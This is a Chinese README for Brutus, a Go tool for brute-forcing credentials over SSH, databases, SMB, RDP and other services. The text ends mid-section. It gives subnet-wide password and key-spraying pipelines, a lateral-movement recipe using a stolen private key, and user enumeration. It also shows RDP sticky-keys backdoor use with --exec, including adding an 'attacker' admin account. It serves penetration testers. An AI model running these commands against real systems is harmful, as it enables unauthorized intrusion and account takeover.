快速、零依赖的凭据测试工具,使用Go语言编写。支持SSH、MySQL、PostgreSQL、Redis、MongoDB、SMB等20多种协议的暴力破解。Hydra的替代品,并原生集成nerva/naabu管道。
<img width="2752" height="1536" alt="Brutus - Social" src="https://assets.kitploit.com/production/public/readmes/11715/32309a4ca6e7282c8dcd718e2b275a392b73a81f51cbd5d1738464eb3933fd22.png" />
<h1 align="center">Brutus</h1>
<p align="center">
<em>"Et tu, Brute?" — 凭证沦陷前的最后一句话。</em>
</p>
<p align="center">
<strong>纯 Go 编写的现代凭证测试工具</strong>
</p>
<p align="center">
<a href="#installation">安装</a> •
<a href="#quick-start">快速开始</a> •
<a href="#pipeline-integration">流水线</a> •
<a href="#supported-protocols">协议</a> •
<a href="#account-enumeration">枚举</a> •
<a href="#socks5-proxy-support">代理</a> •
<a href="#library-integration">库</a>
</p>
---
## 概述
Brutus 是一款多协议身份验证测试工具,旨在填补攻击性安全工具链中的一个关键空白:跨多种网络服务的高效凭证验证。虽然以 HTTP 为中心的工具比比皆是,但渗透测试人员和红队操作员经常遇到数据库、SSH、SMB 以及其他需要专用身份验证测试能力的网络服务。
Brutus 使用 Go 构建,以单一二进制文件形式发布,零外部依赖,并与 [Nerva](https://github.com/praetorian-inc/nerva) 无缝集成以实现自动化服务发现,使操作员能够快速识别并测试整个网络范围内的身份验证向量。
**主要特性:**
- **零依赖:** 单一二进制文件,跨平台(Linux、Windows、macOS)
- **43 种协议:** SSH、RDP、MySQL、PostgreSQL、MSSQL、Oracle、Redis、SMB、LDAP、WinRM、SNMP、HTTP Basic Auth、MQTT 等
- **SOCKS5 代理支持:** 通过 `--proxy` 将所有流量路由至 SOCKS5 代理
- **激进模式:** `--mode cautious|default|aggressive` 用于调整覆盖范围与安全性
- **流水线集成:** 原生支持 Nerva、naabu、nmap 和 masscan 工作流
- **内置弱密钥:** 内置已知 SSH 密钥集合(Vagrant、F5、ExaGrid 等)
- **账户枚举:** 账户存在性预言机枚举、Kerberos 用户枚举、电子邮件生成、Microsoft Teams/Entra ID 设备代码认证
- **Go 库:** 可直接导入到您的安全自动化工具中
- **生产就绪:** 速率限制、连接池和全面的错误处理
---
## 为什么选择 Brutus?
像 **THC Hydra** 这样的传统工具为安全社区服务已久,但它们带来了显著的摩擦:复杂的依赖链、平台特定的编译问题,以及与现代化侦察工作流缺乏原生集成。
**Brutus** 专为现代攻击性安全而打造:
- **真正的零依赖部署:** 下载单一二进制文件即可运行。无需 `libssh-dev`,无需 `libmysqlclient-dev`,没有编译错误。在 Linux、macOS 和 Windows 上表现完全一致。
- **原生流水线集成:** Brutus 使用 JSON 通信,可直接与 [Nerva](https://github.com/praetorian-inc/nerva)、[naabu](https://github.com/projectdiscovery/naabu)、[nmap](https://nmap.org) 和 [masscan](https://github.com/robertdavidgraham/masscan) 集成。将发现的服务直接管道传输到凭证测试中,无需格式转换或脚本编写。
- **内置情报:** 已知的 SSH 弱密钥(Vagrant、F5 BIG-IP、ExaGrid 等)已编译进二进制文件。使用 `brutus badkeys` 对 SSH 目标进行测试。
- **库优先设计:** 将 Brutus 直接导入到您的 Go 安全工具中。构建自定义自动化,无需调用外部进程。
```bash
# Full network credential audit in one pipeline (JSON mode)
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
# Or use Nerva's default URI output — no --json flags needed
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
```
---
## 使用场景
### 渗透测试
- 在内部评估期间,跨多个服务验证已发现的凭据
- 测试数据库和文件共享服务之间的密码重用模式
- 识别新部署基础设施上的默认凭据
### 红队行动
- 在密码转储或钓鱼活动后快速验证凭据
- 测试跨网络服务的横向移动机会
- 在异构环境中验证已泄露的凭据
### 私钥喷洒
在受感染的系统上发现了私钥?将其喷洒到网络中,以找出它还能在哪些地方授予访问权限:
```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
```
该流水线可发现所有 SSH 服务,使用 Nerva 对其进行识别,并针对常见用户名测试已泄露的密钥——在数秒内揭示横向移动的机会。
### Web 管理面板测试
发现 HTTP 服务并使用 AI 驱动的检测或手动凭据列表测试凭据:
```bash
# AI-powered: auto-detect devices and suggest default credentials
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent | \
nerva --json | \
brutus web --experimental-ai --json
# Manual: test specific credentials against web panels
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web -c "admin:admin,root:password" --json
# Default wordlist: test common credentials without AI or -c
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --json
```
### 安全验证
- 在新部署的服务上测试默认凭据
- 验证跨平台的密码策略执行情况
- 为合规性和安全评估生成审计跟踪
---
## 安装
### 预构建二进制文件(推荐)
从 [GitHub Releases](https://github.com/praetorian-inc/brutus/releases) 下载:
```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
```
```powershell
# Windows (PowerShell)
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip
Expand-Archive -Path brutus.zip -DestinationPath .
Remove-Item brutus.zip
```
### Go 安装
```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
```
---
## 快速开始
### 子命令
<!-- BEGIN generated: cli-subcommands -->
Brutus 将其功能组织为以下专注的子命令:
```bash
brutus badkeys # Test known weak/compromised SSH keys against targets
brutus creds # Test default credentials on non-HTTP services (SSH, databases, SMB, etc.)
brutus enum # Enumerate accounts against account-existence oracles or Active Directory
brutus logon # Detect Windows logon-screen backdoors (runs both sticky keys and utilman)
brutus snmp # Test SNMP community strings against targets
brutus stickykeys # Detect the Windows sticky-keys (sethc.exe) logon backdoor only
brutus template # Run product-specific default-credential templates
brutus utilman # Detect the Windows utilman (Ease of Access) logon backdoor only
brutus web # Audit HTTP/web panel credentials (AI-powered or credential list)
```
<!-- END generated: cli-subcommands -->
<!-- BEGIN generated: cli-aliases -->
部分子命令带有别名以便于发现:
| 子命令 | 别名 |
| --- | --- |
| `badkeys` | `keys`、`ssh-keys`、`badkey` |
| `creds` | `services`、`defaults`、`credentials` |
| `snmp` | `community` |
| `web` | `http`、`panels` |
完整参考——包括每个子命令、别名和标志,以及从 `--help` 中隐藏的那些——已生成到 [docs/CLI.md](https://github.com/praetorian-inc/brutus/blob/main/docs/CLI.md)。
<!-- END generated: cli-aliases -->
```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
### 基本用法
```bash
# Test SSH with default credentials
brutus creds --target 192.168.1.100:22 --protocol ssh
# Test with specific credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test with username and password lists
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
# Test MySQL database
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
# Test SSH with a specific private key
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
# Increase threads for faster testing
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
# JSON output for scripting
brutus creds --target 192.168.1.100:22 --protocol ssh --json
```
### 输出示例
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
```
使用详细模式(`-v`):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
```
用于流水线集成的 JSON 输出(仅输出成功的凭据):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
```
---
## 流水线集成
Brutus 与 **[Nerva](https://github.com/praetorian-inc/nerva)** 和 **[naabu](https://github.com/projectdiscovery/naabu)** 无缝集成,实现完整的网络侦察。
### 真实场景
#### 场景 1:扫描企业 /24 网络
```bash
# Discover all open ports, identify services, test default credentials
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva --json | \
brutus creds --json -o results.json
# Same pipeline using Nerva's default URI output (no --json needed)
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva | brutus creds -o results.json
# Review findings (all output is successful credentials)
cat results.json | jq '.'
```
#### 场景 2:针对目标域名的漏洞赏金侦察
```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
```
#### 场景 3:内部评估中的数据库搜寻
```bash
# Find and test all databases in a range
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent | \
nerva --json | \
brutus creds -t 5 --json | \
tee database-findings.json
# Extract credentials in readable format
jq -r '"\(.target) \(.username):\(.password)"' database-findings.json
```
#### 场景 4:跨基础设施的 SSH 密钥测试
```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
```
#### 场景 5:针对性服务测试
```bash
# Test only Redis instances found in the network
naabu -host 172.16.0.0/12 -p 6379 -silent | \
nerva --json | \
brutus creds
# Test only MongoDB with custom credentials
naabu -host 10.0.0.0/24 -p 27017 -silent | \
nerva --json | \
brutus creds -u admin,root,mongodb -p admin,password,mongodb
```
### 扫描工具导入(Nmap 与 Masscan)
Brutus 可以直接从 **nmap** 和 **masscan** 的扫描输出文件导入目标,无需进行格式转换或使用中间工具。
#### Nmap XML 导入(`--nmap-file`)
从 nmap 的 XML 输出(`-oX`)导入目标。Nmap 提供服务指纹识别,因此 Brutus 会自动将检测到的服务映射到正确的协议:
```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
```
Nmap 服务名称会自动映射到 Brutus 协议(例如,`ms-wbt-server` → `rdp`,`microsoft-ds` → `smb`)。TLS 从 nmap 的 `tunnel="ssl"` 属性中检测。仅导入在线主机上的开放端口。
#### Masscan JSON 导入(`--masscan-file`)
从 masscan 的 JSON 输出(`-oJ`)导入目标。由于 masscan 仅是一个端口扫描器(无服务指纹识别),你必须指定 `--protocol` 或让 Brutus 使用 Nerva 自动进行指纹识别:
```bash
# Run a masscan port scan
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
# Test all discovered ports as SSH (when you know what's running)
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
# Auto-fingerprint with Nerva (when services are unknown)
brutus creds --masscan-file scan.json -P passwords.txt
```
#### 与其他工作流结合使用
`--nmap-file` 和 `--masscan-file` 标志适用于所有子命令,并且与 `--target`、`--targets-file` 和 stdin 互斥:
```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
```
### 管道输入格式
Brutus 接受来自 stdin 的多种输入格式:
**Nerva JSON**(`nerva --json`):
```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
```
**Nerva URI**(默认 Nerva 输出,无需 `--json`):
```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
```
**裸目标**(使用 Nerva 自动指纹识别):
```bash
echo "192.168.1.100:22" | brutus creds
```
Brutus 自动:
- 解析 JSON、URI scheme 和裸目标格式
- 将服务映射到协议
- 测试适当的默认凭据
- 以匹配的 JSON 格式输出结果
### 管道输出格式
Brutus 仅以 JSONL 格式输出成功的凭据(每行一个 JSON 对象):
```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
```
**注意:** 认证失败尝试不会包含在 JSON 输出中。当认证使用 SSH 密钥而非密码时,会出现 `key` 字段(值为 `true`)。当凭据由 AI 系统(`--experimental-ai`)建议时,会出现 `llm_suggested` 字段(值为 `true`)。
---
## 对比
| 特性 | Hydra | Medusa | Ncrack | **Brutus** |
|---------|:-----:|:------:|:------:|:----------:|
| 单一二进制文件 | ❌ | ❌ | ❌ | ✅ |
| 零依赖 | ❌ | ❌ | ❌ | ✅ |
| SOCKS5 代理 | ✅ | ❌ | ❌ | ✅ |
| Nerva 管道 | ❌ | ❌ | ❌ | ✅ |
| Nmap/Masscan 导入 | ❌ | ❌ | ❌ | ✅ |
| JSON 流式输出 | ⚠️ | ❌ | ❌ | ✅ |
| 跨平台 | ⚠️ | ⚠️ | ⚠️ | ✅ |
| 一致的错误处理 | ⚠️ | ⚠️ | ⚠️ | ✅ |
| 活跃开发 | ✅ | ⚠️ | ❌ | ✅ |
| 内嵌弱密钥 | ❌ | ❌ | ❌ | ✅ |
| Go 库导入 | ❌ | ❌ | ❌ | ✅ |
---
## 支持的协议
Brutus 支持 **43 种协议**:
### 网络服务
| 协议 | 端口 | 认证方式 | 使用场景 |
|----------|------|--------------|----------|
| SSH | 22 | 密码、私钥 | 服务器、网络设备 |
| FTP | 21 | 密码 | 文件服务器、NAS 设备 |
| rsync | 873 | 模块密钥、匿名 | 文件同步 |
| Telnet | 23 | 密码 | 遗留系统、IoT 设备 |
| VNC | 5900 | 密码 | 远程桌面 |
| RDP | 3389 | NLA/CredSSP、密码 | Windows 服务器、工作站 |
| SNMP | 161 | 团体字符串 | 网络设备、打印机 |
| IPMI | 623/udp | RMCP | BMC / 带外管理 |
| OPC UA | 4840 | 用户名令牌、匿名 | ICS/SCADA |
### Web 服务
| 协议 | 端口 | 认证方式 | 使用场景 |
|----------|------|--------------|----------|
| HTTP | 80 | 基本认证 | 管理面板(Grafana、Jenkins 等) |
| HTTPS | 443 | 基本认证 | 安全的管理面板 |
| 浏览器 | 80/443 | 表单 | 基于浏览器的 Microsoft/Entra 登录 |
### 企业基础设施
| 协议 | 端口 | 认证方式 | 使用场景 |
|----------|------|--------------|----------|
| SMB | 445 | 密码、NTLM | Windows 网络、文件共享 |
| LDAP | 389/636 | 绑定 DN | Active Directory、身份认证 |
| WinRM | 5985/5986 | NTLM | Windows 远程管理 |
### 数据库
| 协议 | 端口 | 认证方式 | 使用场景 |
|----------|------|--------------|----------|
| MySQL | 3306 | 密码 | Web 应用程序 |
| PostgreSQL | 5432 | 密码 | 现代应用程序 |
| MSSQL | 1433 | 密码 | 企业应用程序 |
| MongoDB | 27017 | 密码 | NoSQL 后端 |
| Redis | 6379 | 密码 | 缓存、会话 |
| Memcached | 11211 | SASL、匿名 | 缓存 |
| Neo4j | 7687 | 密码 | 图数据库 |
| Cassandra | 9042 | 密码 | 分布式数据库 |
| CouchDB | 5984 | HTTP 基本认证 | 文档存储 |
| Elasticsearch | 9200 | HTTP 基本认证 | 搜索引擎 |
| InfluxDB | 8086 | HTTP 基本认证 | 时间序列数据 |
| Oracle | 1521 | 密码 | 企业数据库 |
| DB2 | 50000 | 密码 | 企业数据库 |
| Firebird | 3050 | 密码 | 嵌入式数据库 |
### 容器与编排
| 协议 | 端口 | 认证方式 | 使用场景 |
|----------|------|--------------|----------|
| Docker | 2375/2376 | 未认证 | 暴露的 Docker 守护进程 |
| Kubernetes | 6443/10250 | 未认证 | 暴露的 K8s API/kubelet |
### 通信
| 协议 | 端口 | 认证方式 | 使用场景 |
|----------|------|--------------|----------|
| SMTP | 25/587 | 密码 | 邮件中继 |
| IMAP | 143/993 | 密码 | 邮箱访问 |
| POP3 | 110/995 | 密码 | 邮箱访问 |
| ActiveMQ | 61616 | 密码 | OpenWire 代理 |
| SIP | 5060/5061 | 摘要认证 | VoIP |
| TURN | 3478 | 密码 | TURN 中继 |
| ZooKeeper | 2181 | 摘要认证、匿名 | 协调服务 |
| NATS | 4222 | 密码、匿名 | 消息传递 |
| XMPP | 5222 | SASL PLAIN | 聊天 |
| MQTT | 1883/8883 | 密码、匿名 | IoT 代理 |
| AMQP | 5672/5671 | SASL PLAIN | RabbitMQ |
| Kafka | 9092 | SASL/PLAIN | 代理 |
| SOCKS5 | 1080 | SOCKS5 代理认证 | 代理 |
---
## 内嵌 SSH 弱密钥
单一二进制文件部署,无需外部密钥文件。每个密钥都与其默认用户名配对,以实现智能凭据映射,CVE 跟踪功能支持合规性查询。
Brutus 在二进制文件中内嵌了 **[rapid7/ssh-badkeys](https://github.com/rapid7/ssh-badkeys)** 和 **[Vagrant](https://github.com/hashicorp/vagrant)** 密钥集合:
```bash
# Test bad keys against a single target
brutus badkeys --target 192.168.1.100:22
# Pipeline mode: scan a range for compromised SSH keys
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
# Test credentials (bad keys are NOT included in creds mode)
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
```
### 嵌入式密钥收集
| 产品 | CVE | 默认用户 | 描述 |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | HashiCorp Vagrant 不安全密钥 |
| F5 BIG-IP | CVE-2012-1493 | root | 静态 SSH 主机密钥 |
| ExaGrid | CVE-2016-1561 | root | 备份设备后门 |
| Monroe DASDEC | CVE-2013-0137 | root | 紧急警报系统 |
| Barracuda | CVE-2014-8428 | cluster | 负载均衡器虚拟机 |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | 无线回传 |
| Array Networks | - | sync | vAPV/vxAG 设备 |
| Quantum DXi | - | root | 去重设备 |
| Loadbalancer.org | - | root | 企业级负载均衡器 |
---
## 激进模式
全局 `--mode` 标志(`-m`)控制所有子命令的激进程度。它设置性能调优预设,在覆盖范围与安全性之间取得平衡:
| 模式 | 线程数 | 超时 | 速率限制 | 抖动 | 重试次数 | 使用场景 |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | 生产环境,避免锁定 |
| `default` | 10 | 10s | 无限制 | 无 | 2 | 标准测试 |
| `aggressive` | 20 | 10s | 无限制 | 无 | 3 | 实验室/CTF 环境,最大覆盖范围 |
模式预设首先应用,然后任何显式 CLI 标志会覆盖它们:
```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
```
对于 SNMP,该模式还控制内置词表的深度(参见 [SNMP Community String Testing](#snmp-community-string-testing))。
---
## SOCKS5 代理支持
`--proxy` 标志将所有连接通过 SOCKS5 代理进行路由。这适用于所有协议和子命令:
```bash
# Route SSH testing through a SOCKS5 proxy
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
# Proxy with authentication
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
# DNS resolution on the proxy side (socks5h)
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
# Combine with pipeline input
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
# Works with all subcommands
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080
brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
```
支持的协议:
- `socks5://` — 标准 SOCKS5 代理(客户端 DNS 解析)
- `socks5h://` — 带远程 DNS 解析的 SOCKS5(在针对内部主机名时有用)
---
## SNMP Community String 测试
`snmp` 子命令提供专用的 SNMP v1/v2c community string 测试,使用由全局 `--mode` 标志控制的分级词表:
| 模式 | 字符串数量 | 覆盖范围 |
|------|---------|----------|
| `cautious` | ~25 | 常见字符串(public、private、community 等) |
| `default` | ~25 | 与 cautious 相同 |
| `aggressive` | 200+ | 全面覆盖(厂商特定、SCADA、IP 摄像头、存储等) |
```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
---
## 库集成
对于构建安全自动化工具的开发者,Brutus 也可以作为 Go 库导入:
```bash
go get github.com/praetorian-inc/brutus
```
```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
```
---
## 实验性:AI 驱动的凭据检测
> **⚠️ 实验性功能:** AI 功能需要外部 API 密钥,且正在积极开发中。
### `--experimental-ai` 标志
`--experimental-ai` 标志可启用针对 HTTP 服务的自动凭据检测:
```bash
# Set up API keys
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification
export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
# AI-powered credential testing against HTTP services
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --experimental-ai
```
**工作原理:**
1. **检测** — Brutus 探测 HTTP 目标以检测认证类型(Basic Auth 与基于表单的认证)
2. **设备识别** — Claude Vision 分析截图以识别设备/应用程序
3. **凭据建议** — Claude 从其训练数据中建议默认凭据
4. **可选网络搜索** — Perplexity(如果已配置)在线搜索其他凭据
5. **测试** — 针对目标测试发现的凭据
**对于 HTTP Basic Auth 目标:**
- 探测 `/` 以捕获 HTTP 头
- 从 Server 头、WWW-Authenticate realm 等识别设备
- Claude 建议可能的默认凭据
- 自动测试凭据对
**对于 HTTP 基于表单的认证目标:**
- 使用无头 Chrome 渲染并截图页面
- Claude Vision 识别登录表单、设备类型,并建议凭据
- Perplexity(可选)搜索其他默认凭据
- 浏览器自动化填写并提交表单
**要求:**
- `ANTHROPIC_API_KEY` — Claude Vision(设备识别 + 凭据建议)**必需**
- `PERPLEXITY_API_KEY` — *可选*,用于额外的网络搜索研究
- 已安装 Chrome/Chromium(仅用于基于表单的认证)
**非 HTTP 协议(SSH、MySQL 等)不受 `--experimental-ai` 影响** — 它们继续使用标准凭据测试。
---
## RDP:粘滞键后门检测与利用
Brutus 包含对 RDP 目标上**粘滞键后门**(MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/))的自动检测。此预认证检查在非 NLA RDP 目标上运行 — 无需凭据。
**工作原理:**
1. 连接到 RDP 目标并协商非 NLA 会话
2. 捕获登录屏幕位图作为基线
3. 发送 5 次 Shift 键(粘滞键触发器)
4. 捕获响应位图
5. 启发式分析检测是否出现了终端窗口(cmd.exe、PowerShell 等)
6. 可选通过 Claude Vision API 确认(当设置了 `ANTHROPIC_API_KEY` 时)
```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
```
**仅检测模式:** `logon` 子命令运行粘滞键和 utilman 后门检测,不进行暴力破解:
```bash
# Detection only (no brute force)
brutus logon --target 10.0.0.50:3389
```
**检测输出:**
```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
```
### 通过后门执行命令(`--exec`)
检测到后门后,通过预认证命令提示符在远程系统上执行命令:
```bash
# Execute a single command via the backdoor
brutus logon --target 10.0.0.50:3389 --exec "whoami"
# Add a local admin account
brutus logon --target 10.0.0.50:3389 \
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
```
这会连接、触发后门、输入命令、按下回车、等待输出,并保存结果的 PNG 截图。
### 交互式 Web 终端(`--web`)
启动基于浏览器的 RDP 查看器,以便与后门命令提示符进行实时交互:
```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
```
这会启动一个本地 HTTP 服务器,提供:
- **实时屏幕流式传输**,约 10 FPS(通过 WebSocket 传输 JPEG)
- **完整键盘转发**(从浏览器 KeyboardEvent 映射的 PS/2 扫描码)
- **鼠标支持**(点击、移动、右键点击)
- **连接状态**,带有断开连接覆盖层和重新连接按钮
在任意浏览器中打开显示的 URL(例如 `http://127.0.0.1:<port>`)即可与远程 RDP 会话交互。如果会话因服务器端空闲超时而断开,请点击 **Reconnect** 以建立新会话。
> **注意:** 非 NLA RDP 会话具有服务器端空闲超时(Windows 默认值因配置而异,通常由组策略在 `Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits` 中控制)。要在测试目标上延长超时时间,请在注册表中将 `MaxIdleTime` 设置为 `0`:
>
> ```
> HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
> ```
**B-TP(良性真阳性)注意事项:** 后门替换也可能表明存在遗忘密码恢复流程或授权渗透测试的痕迹。
### 大规模 RDP 扫描流水线
对于大规模评估,`logon` 子命令会在多个目标上运行后门检测。它接受流水线输入、目标文件或 nmap/masscan 导入——仅测试 RDP 服务:
```bash
# Scan a /24 for sticky keys and utilman backdoors
naabu -host 10.0.0.0/24 -p 3389 -silent | \
nerva --json | \
brutus logon --json -o rdp-findings.json
# Scan from nmap results
brutus logon --nmap-file scan.xml --json -o rdp-findings.json
# Scan from targets file
brutus logon --targets-file rdp-targets.txt --json
# Extract critical findings
jq 'select(.finding == "[CRITICAL]")' rdp-findings.json
```
**技术实现:** RDP 协议支持使用 [IronRDP](https://github.com/Devolutions/IronRDP)(Rust)编译为 WebAssembly,并通过 [wazero](https://github.com/tetratelabs/wazero) 执行,从而保持 Brutus 的零 CGO、单二进制设计。
---
## 账户枚举
`enum` 子命令枚举哪些账户存在性预言机对某个组织有效(并针对这些预言机枚举电子邮件),或枚举 Active Directory 用户,所有这些操作均不发送密码。
### 账户存在性预言机枚举
识别哪些未认证的账户存在性预言机(microsoft365、google、github,以及 Microsoft Teams 预言机)对某个组织有效,使用已知有效用户对其进行验证,然后针对有效的预言机枚举候选电子邮件。DNS TXT 侦察可发现候选预言机;针对 `--known-valid` 的验证是核心亮点。`--known-valid` 是必需的,枚举仅针对确认该用户的预言机运行:
```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]
# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]
```
### Kerberos 用户枚举
通过 Kerberos AS-REQ 枚举 Active Directory 用户名(不发送密码,无锁定风险):
```bash
